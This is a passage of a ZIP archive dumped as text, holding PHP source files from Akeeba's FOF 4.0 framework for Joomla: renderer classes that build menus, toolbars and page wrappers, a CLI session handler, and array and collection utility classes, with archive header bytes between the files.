($link['icon']) { echo "<span class=\"icon icon-" . $link['icon'] . "\"></span>"; } echo $link['name']; echo '<b class="caret"></b>'; echo '</a>'; echo "\n<ul class=\"dropdown-menu\">"; foreach ($link['items'] as $item) { if ($isJoomla3) { echo "<li class=\"dropdown-item"; if ($item['active']) { echo ' active'; } echo "\">"; if ($item['icon']) { echo "<span class=\"icon icon-" . $item['icon'] . "\"></span>"; } if ($item['link']) { echo "<a href=\"" . $item['link'] . "\">" . $item['name'] . "</a>"; } else { echo $item['name']; } echo "</li>"; } else { echo "<li>"; $tag = $item['link'] ? 'a' : 'span'; $activeItem = ($item['active'] ?? false) ? 'active' : ''; echo "<$tag class=\"dropdown-item $activeItem\""; if ($item['link']) { echo "href=\"{$item['link']}\""; } echo ">"; if ($item['icon']) { echo "<span class=\"icon icon-" . $item['icon'] . "\"></span>"; } echo $item['name']; echo "</$tag>"; echo "</li>"; } } echo "</ul>\n"; } else { echo "<li class=\"nav-item"; if ($link['active']) { echo ' active"'; } echo "\">"; if ($link['icon']) { echo "<span class=\"icon icon-" . $link['icon'] . "\"></span>"; } if ($isJoomla3) { if ($link['link']) { echo "<a href=\"" . $link['link'] . "\">" . $link['name'] . "</a>"; } else { echo $link['name']; } } else { $class = $link['active'] ? 'active' : ''; $href = $link['link'] ?: '#'; echo "<a href=\"$href\" class=\"nav-link $class\">{$link['name']}</a>"; } } echo "</li>\n"; } echo "</ul>\n"; } } /** * Renders the submenu (link bar) using Joomla!'s style. On Joomla! 2.5 this * is a list of bar separated links, on Joomla! 3 it's a sidebar at the * left-hand side of the page. * * @param string $view The active view name * @param string $task The current task * * @return void */ protected function renderLinkbar_joomla(string $view, string $task): void { $platform = $this->container->platform; // On command line don't do anything if ($platform->isCli()) { return; } // Do not render a submenu unless we are in the the admin area $toolbar = $this->container->toolbar; $renderFrontendSubmenu = $toolbar->getRenderFrontendSubmenu(); if (!$platform->isBackend() && !$renderFrontendSubmenu) { return; } $this->renderLinkbarItems($toolbar); } /** * Render the linkbar * * @param Toolbar $toolbar An FOF toolbar object * * @return void */ protected function renderLinkbarItems(Toolbar $toolbar): void { $links = $toolbar->getLinks(); if (!empty($links)) { foreach ($links as $link) { JHtmlSidebar::addEntry($link['name'], $link['link'], $link['active']); $dropdown = false; if (array_key_exists('dropdown', $link)) { $dropdown = $link['dropdown']; } if ($dropdown) { foreach ($link['items'] as $item) { JHtmlSidebar::addEntry('– ' . $item['name'], $item['link'], $item['active']); } } } } } /** * Renders the toolbar buttons * * @param string $view The active view name * @param string $task The current task * * @return void */ protected function renderButtons(string $view, string $task): void { $platform = $this->container->platform; if ($platform->isCli()) { return; } // Do not render buttons unless we are in the the frontend area and we are asked to do so $toolbar = $this->container->toolbar; $renderFrontendButtons = $toolbar->getRenderFrontendButtons(); // Load main backend language, in order to display toolbar strings // (JTOOLBAR_BACK, JTOOLBAR_PUBLISH etc etc) $platform->loadTranslations('joomla'); if ($platform->isBackend() || !$renderFrontendButtons) { return; } $bar = JoomlaToolbar::getInstance('toolbar'); $items = $bar->getItems(); $substitutions = [ 'icon-32-new' => 'icon-plus', 'icon-32-publish' => 'icon-eye-open', 'icon-32-unpublish' => 'icon-eye-close', 'icon-32-delete' => 'icon-trash', 'icon-32-edit' => 'icon-edit', 'icon-32-copy' => 'icon-th-large', 'icon-32-cancel' => 'icon-remove', 'icon-32-back' => 'icon-circle-arrow-left', 'icon-32-apply' => 'icon-ok', 'icon-32-save' => 'icon-hdd', 'icon-32-save-new' => 'icon-repeat', ]; if (isset(JoomlaFactory::getApplication()->JComponentTitle)) { $title = JoomlaFactory::getApplication()->JComponentTitle; } else { $title = ''; } $html = []; $actions = []; // We have to use the same id we're using inside other renderers $html[] = '<div class="well" id="FOFHeaderContainer">'; $html[] = '<div class="titleContainer">' . $title . '</div>'; $html[] = '<div class="buttonsContainer">'; foreach ($items as $node) { $type = $node[0]; $button = $bar->loadButtonType($type); if ($button !== false) { $action = call_user_func_array([&$button, 'fetchButton'], $node); $action = str_replace('class="toolbar"', 'class="toolbar btn"', $action); $action = str_replace('<span ', '<i ', $action); $action = str_replace('</span>', '</i>', $action); $action = str_replace(array_keys($substitutions), array_values($substitutions), $action); $actions[] = $action; } } $html = array_merge($html, $actions); $html[] = '</div>'; $html[] = '</div>'; echo implode("\n", $html); } /** * Opens the wrapper DIV element. Our component's output will be inside this wrapper. * * @param array $classes An array of additional CSS classes to add to the outer page wrapper element. * * @return void */ protected function openPageWrapper(array $classes): void { $this->setOption('wrapper_id', $this->getOption('wrapper_id', 'akeeba-renderjoomla')); $classes[] = 'akeeba-renderer-joomla'; parent::openPageWrapper($classes); } } PK���\�fPMMfof40/Render/RenderBase.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Render; defined('_JEXEC') || die; use FOF40\Container\Container; use Joomla\Registry\Registry; use LogicException; use stdClass; /** * Base class for other render classes * * @package FOF40\Render * @since 3.0.0 */ abstract class RenderBase implements RenderInterface { /** @var Container|null The container we are attached to */ protected $container; /** @var bool Is this renderer available under this execution environment? */ protected $enabled = false; /** @var int The priority of this renderer in case we have multiple available ones */ protected $priority = 0; /** @var Registry A registry object holding renderer options */ protected $optionsRegistry; /** * Public constructor. Determines the priority of this class and if it should be enabled */ public function __construct(Container $container) { $this->container = $container; $this->optionsRegistry = new Registry(); } /** * Set a renderer option (depends on the renderer) * * @param string $key The name of the option to set * @param mixed $value The value of the option * * @return void */ public function setOption(string $key, string $value): void { $this->optionsRegistry->set($key, $value); } /** * Set multiple renderer options at once (depends on the renderer) * * @param array $options The options to set as key => value pairs * * @return void */ public function setOptions(array $options): void { foreach ($options as $key => $value) { $this->setOption($key, $value); } } /** * Get the value of a renderer option * * @param string $key The name of the parameter * @param mixed $default The default value to return if the parameter is not set * * @return mixed The parameter value */ public function getOption(string $key, $default = null) { return $this->optionsRegistry->get($key, $default); } /** * Returns the information about this renderer * * @return stdClass */ public function getInformation(): stdClass { $classParts = explode('\\', get_class($this)); return (object) [ 'enabled' => $this->enabled, 'priority' => $this->priority, 'name' => strtolower(array_pop($classParts)), ]; } /** * Performs initialisation. * * This is where you load your CSS and JavaScript frameworks. Only load the common code that the view's static * assets will definitely depend on. * * This runs at the top of the View's display() method, before ony onBefore* handlers. Any files inserted to the * Joomla document / WebAssetManager by this method CAN plausibly be removed by code in the view or any view event * handlers in plugins. * * @param string $view The current view * @param string $task The current task * * @return void * @since 4.0.0 */ public function initialise(string $view, string $task): void { $this->loadCustomCss(); } /** * Echoes any HTML to show before the view template * * @param string $view The current view * @param string $task The current task * * @return void */ public function preRender(string $view, string $task): void { } /** * Echoes any HTML to show after the view template * * @param string $view The current view * @param string $task The current task * * @return void */ public function postRender(string $view, string $task): void { } /** * Renders the submenu (link bar) for a category view when it is used in a * extension * * Note: this function has to be called from the addSubmenu function in * the ExtensionNameHelper class located in * administrator/components/com_ExtensionName/helpers/Extensionname.php * * @return void */ public function renderCategoryLinkbar(): void { throw new LogicException(sprintf('Renderer class %s must implement the %s method', get_class($this), __METHOD__)); } /** * Opens a wrapper DIV. Our component's output will be inside this wrapper. * * @param array $classes An array of additional CSS classes to add to the outer page wrapper element. * * @return void */ protected function openPageWrapper(array $classes): void { $removeClasses = $this->getOption('remove_wrapper_classes', []); if (!is_array($removeClasses)) { $removeClasses = explode(',', $removeClasses); } $removeClasses = array_map('trim', $removeClasses); foreach ($removeClasses as $class) { $x = array_search($class, $classes); if ($x !== false) { unset($classes[$x]); } } // Add the following classes to the wrapper div $addClasses = $this->getOption('add_wrapper_classes', ''); if (!is_array($addClasses)) { $addClasses = explode(',', $addClasses); } $addClasses = array_map('trim', $addClasses); $customClasses = implode(' ', array_unique(array_merge($classes, $addClasses))); $id = $this->getOption('wrapper_id', null); $id = empty($id) ? "" : sprintf(' id="%s"', $id); echo <<< HTML <div class="$customClasses"$id> HTML; } /** * Outputs HTML which closes the page wrappers opened with openPageWrapper. * * @return void */ protected function closePageWrapper(): void { echo "</div>\n"; } /** * Loads the custom CSS files defined in the custom_css renderer option. */ protected function loadCustomCss() { $custom_css_raw = $this->getOption('custom_css', ''); $custom_css_raw = trim($custom_css_raw); if (empty($custom_css_raw)) { return; } $files = explode(',', $custom_css_raw); $mediaVersion = $this->container->mediaVersion; foreach ($files as $file) { $file = trim($file); if (empty($file)) { continue; } $this->container->template->addCSS($file, $mediaVersion); } } } PK���\��ԫfof40/Render/Joomla4.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Render; defined('_JEXEC') || die; use FOF40\Container\Container; /** * Renderer class for use with Joomla! 4.x * * Renderer options * * wrapper_id The ID of the wrapper DIV. Default: akeeba-renderjoomla * linkbar_style Style for linkbars: joomla3|classic. Default: joomla3 * remove_wrapper_classes Comma-separated list of classes to REMOVE from the container * add_wrapper_classes Comma-separated list of classes to ADD to the container * * @package FOF40\Render */ class Joomla4 extends Joomla { public function __construct(Container $container) { $this->priority = 40; $this->enabled = version_compare(JVERSION, '3.9.999', 'gt'); parent::__construct($container); } /** * Opens the FEF styling wrapper element. Our component's output will be inside this wrapper. * * @param array $classes An array of additional CSS classes to add to the outer page wrapper element. * * @return void */ protected function openPageWrapper(array $classes): void { $classes[] = 'akeeba-renderer-joomla4'; parent::openPageWrapper($classes); } } PK���\�&Tfof40/Render/Joomla3.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Render; defined('_JEXEC') || die; use FOF40\Container\Container; /** * Renderer class for use with Joomla! 3.x * * Renderer options * * wrapper_id The ID of the wrapper DIV. Default: akeeba-renderjoomla * linkbar_style Style for linkbars: joomla3|classic. Default: joomla3 * remove_wrapper_classes Comma-separated list of classes to REMOVE from the container * add_wrapper_classes Comma-separated list of classes to ADD to the container * * @package FOF40\Render */ class Joomla3 extends Joomla { public function __construct(Container $container) { $this->priority = 55; $this->enabled = version_compare(JVERSION, '3.9.999', 'le'); parent::__construct($container); } /** * Opens the FEF styling wrapper element. Our component's output will be inside this wrapper. * * @param array $classes An array of additional CSS classes to add to the outer page wrapper element. * * @return void */ protected function openPageWrapper(array $classes): void { $classes[] = 'akeeba-renderer-joomla3'; parent::openPageWrapper($classes); } } PK���\�qH� fof40/Render/RenderInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Render; defined('_JEXEC') || die; use FOF40\Container\Container; use stdClass; interface RenderInterface { /** * Public constructor * * @param Container $container The container we are attached to */ function __construct(Container $container); /** * Returns the information about this renderer * * @return object */ function getInformation(): stdClass; /** * Performs initialisation. * * This is where you load your CSS and JavaScript frameworks. Only load the common code that the view's static * assets will definitely depend on. * * This runs at the top of the View's display() method, before ony onBefore* handlers. Any files inserted to the * Joomla document / WebAssetManager by this method CAN plausibly be removed by code in the view or any view event * handlers in plugins. * * @param string $view The current view * @param string $task The current task * * @return void * @since 4.0.0 */ function initialise(string $view, string $task): void; /** * Echoes any HTML to show before the view template * * @param string $view The current view * @param string $task The current task * * @return void */ function preRender(string $view, string $task): void; /** * Echoes any HTML to show after the view template * * @param string $view The current view * @param string $task The current task * * @return void */ function postRender(string $view, string $task): void; /** * Renders the submenu (link bar) for a category view when it is used in a * extension * * Note: this function has to be called from the addSubmenu function in * the ExtensionNameHelper class located in * administrator/components/com_ExtensionName/helpers/Extensionname.php * * @return void */ function renderCategoryLinkbar(): void; /** * Set a renderer option (depends on the renderer) * * @param string $key The name of the option to set * @param string $value The value of the option * * @return void */ function setOption(string $key, string $value): void; /** * Set multiple renderer options at once (depends on the renderer) * * @param array $options The options to set as key => value pairs * * @return void */ function setOptions(array $options): void; /** * Get the value of a renderer option * * @param string $key The name of the parameter * @param mixed $default The default value to return if the parameter is not set * * @return mixed The parameter value */ function getOption(string $key, $default = null); } PK���\��J��!fof40/Utils/CliSessionHandler.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Utils; defined('_JEXEC') || die; use FOF40\Encrypt\Randval; use JSessionHandlerInterface; use RuntimeException; /** * CLI session handler for Joomla 3.x */ class CliSessionHandler implements JSessionHandlerInterface { private $id; private $name = 'clisession'; public function __construct() { $this->makeId(); } /** * Starts the session. * * @return boolean True if started. * * @throws RuntimeException If something goes wrong starting the session. * @since 3.4.8 */ public function start() { return true; } /** * Checks if the session is started. * * @return boolean True if started, false otherwise. * * @since 3.4.8 */ public function isStarted() { return true; } /** * Returns the session ID * * @return string The session ID * * @since 3.4.8 */ public function getId() { return $this->id; } /** * Sets the session ID * * @param string $id The session ID * * @return void * * @since 3.4.8 */ public function setId($id) { $this->id = $id; } /** * Returns the session name * * @return mixed The session name. * * @since 3.4.8 */ public function getName() { return $this->name; } /** * Sets the session name * * @param string $name The name of the session * * @return void * * @since 3.4.8 */ public function setName($name) { $this->name = $name; } /** * Regenerates ID that represents this storage. * * Note regenerate+destroy should not clear the session data in memory only delete the session data from persistent * storage. * * @param boolean $destroy Destroy session when regenerating? * @param integer $lifetime Sets the cookie lifetime for the session cookie. A null value will leave the system * settings unchanged, * 0 sets the cookie to expire with browser session. Time is in seconds, and is not a * Unix timestamp. * * @return boolean True if session regenerated, false if error * * @since 3.4.8 */ public function regenerate($destroy = false, $lifetime = null) { $this->makeId(); return true; } /** * Force the session to be saved and closed. * * This method must invoke session_write_close() unless this interface is used for a storage object design for unit * or functional testing where a real PHP session would interfere with testing, in which case it should actually * persist the session data if required. * * @return void * * @throws RuntimeException If the session is saved without being started, or if the session is already closed. * @since 3.4.8 * @see session_write_close() */ public function save() { // No operation. This is a CLI session, we save nothing. } /** * Clear all session data in memory. * * @return void * * @since 3.4.8 */ public function clear() { $this->makeId(); } private function makeId() { $rand = new Randval(); $this->id = md5($rand->generate(32)); } }PK���\T�a@3@3fof40/Utils/ArrayHelper.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Utils; defined('_JEXEC') || die; /** * ArrayHelper is an array utility class for doing all sorts of odds and ends with arrays. * * Copied from Joomla Framework to avoid class name issues between Joomla! versions 3 and 4. sortObjects is not included * because it needs the UTF-8 package. If you need to use that then you should be using the Joomla! Framework's helper * anyway. */ final class ArrayHelper { /** * Private constructor to prevent instantiation of this class * * @since 1.0 */ private function __construct() { } /** * Function to convert array to integer values * * @param array $array The source array to convert * @param int|array|null $default A default value (int|array) to assign if $array is not an array * * @return int[] * * @since 1.0 */ public static function toInteger(array $array, $default = null): array { if (is_array($array)) { return array_map('intval', $array); } if ($default === null) { return []; } if (is_array($default)) { return static::toInteger($default, null); } return [(int) $default]; } /** * Utility function to map an array to a stdClass object. * * @param array $array The array to map. * @param string $class Name of the class to create * @param boolean $recursive Convert also any array inside the main array * * @return object * * @since 1.0 */ public static function toObject(array $array, string $class = 'stdClass', bool $recursive = true) { $obj = new $class; foreach ($array as $k => $v) { $obj->$k = ($recursive && is_array($v)) ? static::toObject($v, $class) : $v; } return $obj; } /** * Utility function to map an array to a string. * * @param array $array The array to map. * @param string $inner_glue The glue (optional, defaults to '=') between the key and the value. * @param string $outer_glue The glue (optional, defaults to ' ') between array elements. * @param boolean $keepOuterKey True if final key should be kept. * * @return string * * @since 1.0 */ public static function toString(array $array, string $inner_glue = '=', string $outer_glue = ' ', bool $keepOuterKey = false): string { $output = []; foreach ($array as $key => $item) { if (is_array($item)) { if ($keepOuterKey) { $output[] = $key; } // This is value is an array, go and do it again! $output[] = static::toString($item, $inner_glue, $outer_glue, $keepOuterKey); } else { $output[] = $key . $inner_glue . '"' . $item . '"'; } } return implode($outer_glue, $output); } /** * Utility function to map an object to an array * * @param object $p_obj The source object * @param boolean $recurse True to recurse through multi-level objects * @param string|null $regex An optional regular expression to match on field names * * @return array * * @since 1.0 */ public static function fromObject($p_obj, bool $recurse = true, ?string $regex = null): array { if (is_object($p_obj) || is_array($p_obj)) { return self::arrayFromObject($p_obj, $recurse, $regex); } return []; } /** * Extracts a column from an array of arrays or objects * * @param array $array The source array * @param string $valueCol The index of the column or name of object property to be used as value * It may also be NULL to return complete arrays or objects (this is * useful together with <var>$keyCol</var> to reindex the array). * @param string|null $keyCol The index of the column or name of object property to be used as key * * @return array Column of values from the source array * * @since 1.0 * @see http://php.net/manual/en/language.types.array.php * @see http://php.net/manual/en/function.array-column.php */ public static function getColumn(array $array, string $valueCol, ?string $keyCol = null): array { $result = []; foreach ($array as $item) { // Convert object to array $subject = is_object($item) ? static::fromObject($item) : $item; /* * We process arrays (and objects already converted to array) * Only if the value column (if required) exists in this item */ if (is_array($subject) && (!isset($valueCol) || isset($subject[$valueCol]))) { // Use whole $item if valueCol is null, else use the value column. $value = isset($valueCol) ? $subject[$valueCol] : $item; // Array keys can only be integer or string. Casting will occur as per the PHP Manual. if (isset($keyCol) && isset($subject[$keyCol]) && is_scalar($subject[$keyCol])) { $key = $subject[$keyCol]; $result[$key] = $value; } else { $result[] = $value; } } } return $result; } /** * Utility function to return a value from a named array or a specified default * * @param array|\ArrayAccess $array A named array or object that implements ArrayAccess * @param string $name The key to search for * @param mixed $default The default value to give if no key found * @param string $type Return type for the variable (INT, FLOAT, STRING, WORD, BOOLEAN, ARRAY) * * @return mixed * * @throws \InvalidArgumentException * @since 1.0 */ public static function getValue(array $array, string $name, $default = null, string $type = '') { if (!is_array($array) && !($array instanceof \ArrayAccess)) { throw new \InvalidArgumentException('The object must be an array or an object that implements ArrayAccess'); } $result = null; if (isset($array[$name])) { $result = $array[$name]; } // Handle the default case if (is_null($result)) { $result = $default; } // Handle the type constraint switch (strtoupper($type)) { case 'INT': case 'INTEGER': // Only use the first integer value @preg_match('/-?\d+/', $result, $matches); $result = @(int) $matches[0]; break; case 'FLOAT': case 'DOUBLE': // Only use the first floating point value @preg_match('/-?\d+(\.\d+)?/', $result, $matches); $result = @(float) $matches[0]; break; case 'BOOL': case 'BOOLEAN': $result = (bool) $result; break; case 'ARRAY': if (!is_array($result)) { $result = [$result]; } break; case 'STRING': $result = (string) $result; break; case 'WORD': $result = (string) preg_replace('#\W#', '', $result); break; case 'NONE': default: // No casting necessary break; } return $result; } /** * Takes an associative array of arrays and inverts the array keys to values using the array values as keys. * * Example: * $input = array( * 'New' => array('1000', '1500', '1750'), * 'Used' => array('3000', '4000', '5000', '6000') * ); * $output = ArrayHelper::invert($input); * * Output would be equal to: * $output = array( * '1000' => 'New', * '1500' => 'New', * '1750' => 'New', * '3000' => 'Used', * '4000' => 'Used', * '5000' => 'Used', * '6000' => 'Used' * ); * * @param array $array The source array. * * @return array * * @since 1.0 */ public static function invert(array $array): array { $return = []; foreach ($array as $base => $values) { if (!is_array($values)) { continue; } foreach ($values as $key) { // If the key isn't scalar then ignore it. if (is_scalar($key)) { $return[$key] = $base; } } } return $return; } /** * Method to determine if an array is an associative array. * * @param array $array An array to test. * * @return boolean * * @since 1.0 */ public static function isAssociative(array $array): bool { if (is_array($array)) { foreach (array_keys($array) as $k => $v) { if ($k !== $v) { return true; } } } return false; } /** * Pivots an array to create a reverse lookup of an array of scalars, arrays or objects. * * @param array $source The source array. * @param string|null $key Where the elements of the source array are objects or arrays, the key to pivot * on. * * @return array An array of arrays pivoted either on the value of the keys, or an individual key of an object or * array. * * @since 1.0 */ public static function pivot(array $source, ?string $key = null): array { $result = []; $counter = []; foreach ($source as $index => $value) { // Determine the name of the pivot key, and its value. if (is_array($value)) { // If the key does not exist, ignore it. if (!isset($value[$key])) { continue; } $resultKey = $value[$key]; $resultValue = $source[$index]; } elseif (is_object($value)) { // If the key does not exist, ignore it. if (!isset($value->$key)) { continue; } $resultKey = $value->$key; $resultValue = $source[$index]; } else { // Just a scalar value. $resultKey = $value; $resultValue = $index; } // The counter tracks how many times a key has been used. if (empty($counter[$resultKey])) { // The first time around we just assign the value to the key. $result[$resultKey] = $resultValue; $counter[$resultKey] = 1; } elseif ($counter[$resultKey] == 1) { // If there is a second time, we convert the value into an array. $result[$resultKey] = [ $result[$resultKey], $resultValue, ]; $counter[$resultKey]++; } else { // After the second time, no need to track any more. Just append to the existing array. $result[$resultKey][] = $resultValue; } } unset($counter); return $result; } /** * Multidimensional-array-safe unique test * * @param array $array The array to make unique. * * @return array * * @see http://php.net/manual/en/function.array-unique.php * @since 1.0 */ public static function arrayUnique(array $array): array { $array = array_map('serialize', $array); $array = array_unique($array); return array_map('unserialize', $array); } /** * An improved array_search that allows for partial matching of strings values in associative arrays. * * @param string $needle The text to search for within the array. * @param array $haystack Associative array to search in to find $needle. * @param boolean $caseSensitive True to search case sensitive, false otherwise. * * @return mixed Returns the matching array $key if found, otherwise false. * * @since 1.0 */ public static function arraySearch(string $needle, array $haystack, bool $caseSensitive = true) { foreach ($haystack as $key => $value) { $searchFunc = ($caseSensitive) ? 'strpos' : 'stripos'; if ($searchFunc($value, $needle) === 0) { return $key; } } return false; } /** * Method to recursively convert data to a one dimension array. * * @param array|object $array The array or object to convert. * @param string $separator The key separator. * @param string $prefix Last level key prefix. * * @return array * * @since 1.3.0 */ public static function flatten($array, string $separator = '.', string $prefix = ''): array { if ($array instanceof \Traversable) { $array = iterator_to_array($array); } elseif (is_object($array)) { $array = get_object_vars($array); } foreach ($array as $k => $v) { $key = $prefix ? ($prefix . $separator . $k) : $k; if (is_object($v) || is_array($v)) { $array = array_merge($array, static::flatten($v, $separator, $key)); } else { $array[$key] = $v; } } return $array; } /** * Utility function to map an object or array to an array * * @param mixed $item The source object or array * @param boolean $recurse True to recurse through multi-level objects * @param string $regex An optional regular expression to match on field names * * @return array * * @since 1.0 */ private static function arrayFromObject($item, bool $recurse, ?string $regex): array { if (is_object($item)) { $result = []; foreach (get_object_vars($item) as $k => $v) { if (!$regex || preg_match($regex, $k)) { $result[$k] = $recurse ? self::arrayFromObject($v, $recurse, $regex) : $v; } } return $result; } if (is_array($item)) { $result = []; foreach ($item as $k => $v) { $result[$k] = self::arrayFromObject($v, $recurse, $regex); } return $result; } return $item; } } PK���\�T$?=:=:fof40/Utils/Collection.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Utils; defined('_JEXEC') || die; use ArrayAccess; use ArrayIterator; use CachingIterator; use Closure; use Countable; use IteratorAggregate; use JsonSerializable; class Collection implements ArrayAccess, Countable, IteratorAggregate, JsonSerializable { /** * The items contained in the collection. * * @var array */ protected $items = []; /** * Create a new collection. * * @param array $items */ public function __construct(array $items = []) { $this->items = $items; } /** * Create a new collection instance if the value isn't one already. If given an array then the array is wrapped in * a Collection. Otherwise we return a Collection with only one item, whatever was passed in $items. If you pass * null you get an empty Collection. * * @param array|mixed $items * * @return static */ public static function make($items): Collection { if (is_null($items)) { return new static; } if ($items instanceof Collection) { return $items; } return new static(is_array($items) ? $items : [$items]); } /** * Get all of the items in the collection. * * @return array */ public function all(): array { return $this->items; } /** * Collapse the collection items into a single array. This assumes that the Collection is composed of arrays. We * are essentially merging all of these arrays and creating a new Collection out of them. * * If $this->items = [ ['a','b'], ['c','d'], ['e'] ] after collapse it becomes [ 'a','b','c','d','e' ] * * @return Collection */ public function collapse(): Collection { $results = []; foreach ($this->items as $values) { $results = array_merge($results, $values); } return new static($results); } /** * Diff the collection with the given items. * * @param Collection|array $items * * @return Collection */ public function diff($items): Collection { return new static(array_diff($this->items, $this->getIterableItemsAsArray($items))); } /** * Execute a callback over each item. * * @param Closure $callback * * @return Collection */ public function each(Closure $callback): Collection { array_map($callback, $this->items); return $this; } /** * Fetch a nested element of the collection. * * @param string $key * * @return Collection */ public function fetch(string $key): Collection { return new static(array_fetch($this->items, $key)); } /** * Run a filter over each of the items. * * @param Closure $callback * * @return Collection */ public function filter(Closure $callback): Collection { return new static(array_filter($this->items, $callback)); } /** * Get the first item from the collection. * * @param \Closure $callback * @param mixed $default * * @return mixed|null */ public function first(Closure $callback = null, $default = null) { if (is_null($callback)) { return count($this->items) > 0 ? reset($this->items) : null; } else { return array_first($this->items, $callback, $default); } } /** * Get a flattened array of the items in the collection. * * @return Collection */ public function flatten(): Collection { return new static(array_flatten($this->items)); } /** * Remove an item from the collection by key. * * @param mixed $key * * @return void */ public function forget(string $key): void { unset($this->items[$key]); } /** * Get an item from the collection by key. * * @param mixed $key * @param mixed $default * * @return mixed */ public function get(string $key, $default = null) { if (array_key_exists($key, $this->items)) { return $this->items[$key]; } return value($default); } /** * Group an associative array by a field or Closure value. * * @param callable|string $groupBy * * @return Collection */ public function groupBy($groupBy): Collection { $results = []; foreach ($this->items as $key => $value) { $key = is_callable($groupBy) ? $groupBy($value, $key) : array_get($value, $groupBy); $results[$key][] = $value; } return new static($results); } /** * Determine if an item exists in the collection by key. * * @param string $key * * @return bool */ public function has(string $key): bool { return array_key_exists($key, $this->items); } /** * Concatenate values of a given key as a string. * * @param string $value * @param string|null $glue * * @return string */ public function implode(string $value, ?string $glue = null): string { if (is_null($glue)) { return implode($this->lists($value)); } return implode($glue, $this->lists($value)); } /** * Intersect the collection with the given items. * * @param Collection|array $items * * @return Collection */ public function intersect($items): Collection { return new static(array_intersect($this->items, $this->getIterableItemsAsArray($items))); } /** * Determine if the collection is empty or not. * * @return bool */ public function isEmpty(): bool { return empty($this->items); } /** * Get the last item from the collection. * * @return mixed|null */ public function last() { return count($this->items) > 0 ? end($this->items) : null; } /** * Get an array with the values of a given key. * * @param string $value * @param string|null $key * * @return array */ public function lists(string $value, ?string $key = null) { return array_pluck($this->items, $value, $key); } /** * Run a map over each of the items. * * @param Closure $callback * * @return Collection */ public function map(Closure $callback): Collection { return new static(array_map($callback, $this->items, array_keys($this->items))); } /** * Merge the collection with the given items. * * @param Collection|array $items * * @return Collection */ public function merge($items): Collection { return new static(array_merge($this->items, $this->getIterableItemsAsArray($items))); } /** * Get and remove the last item from the collection. * * @return mixed|null */ public function pop() { return array_pop($this->items); } /** * Push an item onto the beginning of the collection. * * @param mixed $value * * @return void */ public function prepend($value): void { array_unshift($this->items, $value); } /** * Push an item onto the end of the collection. * * @param mixed $value * * @return void */ public function push($value): void { $this->items[] = $value; } /** * Put an item in the collection by key. * * @param string $key * @param mixed $value * * @return void */ public function put(string $key, $value): void { $this->items[$key] = $value; } /** * Reduce the collection to a single value. * * @param callable $callback * @param mixed $initial * * @return mixed */ public function reduce(callable $callback, $initial = null) { return array_reduce($this->items, $callback, $initial); } /** * Get one or more items randomly from the collection. * * @param int $amount * * @return mixed */ public function random(int $amount = 1) { $keys = array_rand($this->items, $amount); return is_array($keys) ? array_intersect_key($this->items, array_flip($keys)) : $this->items[$keys]; } /** * Reverse items order. * * @return Collection */ public function reverse(): Collection { return new static(array_reverse($this->items)); } /** * Get and remove the first item from the collection. * * @return mixed|null */ public function shift() { return array_shift($this->items); } /** * Slice the underlying collection array. * * @param int $offset * @param int|null $length * @param bool $preserveKeys * * @return Collection */ public function slice(int $offset, ?int $length = null, bool $preserveKeys = false): Collection { return new static(array_slice($this->items, $offset, $length, $preserveKeys)); } /** * Sort through each item with a callback. * * @param Closure $callback * * @return Collection */ public function sort(Closure $callback): Collection { uasort($this->items, $callback); return $this; } /** * Sort the collection using the given Closure. * * @param \Closure|string $callback * @param int $options * @param bool $descending * * @return Collection */ public function sortBy($callback, int $options = SORT_REGULAR, bool $descending = false): Collection { $results = []; if (is_string($callback)) { $callback = $this->valueRetriever($callback); } // First we will loop through the items and get the comparator from a callback // function which we were given. Then, we will sort the returned values and // and grab the corresponding values for the sorted keys from this array. foreach ($this->items as $key => $value) { $results[$key] = $callback($value); } $descending ? arsort($results, $options) : asort($results, $options); // Once we have sorted all of the keys in the array, we will loop through them // and grab the corresponding model so we can set the underlying items list // to the sorted version. Then we'll just return the collection instance. foreach (array_keys($results) as $key) { $results[$key] = $this->items[$key]; } $this->items = $results; return $this; } /** * Sort the collection in descending order using the given Closure. * * @param \Closure|string $callback * @param int $options * * @return Collection */ public function sortByDesc($callback, int $options = SORT_REGULAR): Collection { return $this->sortBy($callback, $options, true); } /** * Splice portion of the underlying collection array. * * @param int $offset * @param int $length * @param mixed $replacement * * @return Collection */ public function splice(int $offset, int $length = 0, $replacement = []): Collection { return new static(array_splice($this->items, $offset, $length, $replacement)); } /** * Get the sum of the given values. * * @param \Closure|string $callback * * @return mixed */ public function sum($callback) { if (is_string($callback)) { $callback = $this->valueRetriever($callback); } return $this->reduce(function ($result, $item) use ($callback) { return $result += $callback($item); }, 0); } /** * Take the first or last {$limit} items. * * @param int|null $limit * * @return Collection */ public function take(?int $limit = null): Collection { if ($limit < 0) { return $this->slice($limit, abs($limit)); } return $this->slice(0, $limit); } /** * Resets the Collection (removes all items) * * @return Collection */ public function reset(): Collection { $this->items = []; return $this; } /** * Transform each item in the collection using a callback. * * @param callable $callback * * @return Collection */ public function transform(callable $callback): Collection { $this->items = array_map($callback, $this->items); return $this; } /** * Return only unique items from the collection array. * * @return Collection */ public function unique(): Collection { return new static(array_unique($this->items)); } /** * Reset the keys on the underlying array. * * @return Collection */ public function values(): Collection { $this->items = array_values($this->items); return $this; } /** * Get the collection of items as a plain array. * * @return array */ public function toArray(): array { return array_map(function ($value) { return (is_object($value) && method_exists($value, 'toArray')) ? $value->toArray() : $value; }, $this->items); } /** * Convert the object into something JSON 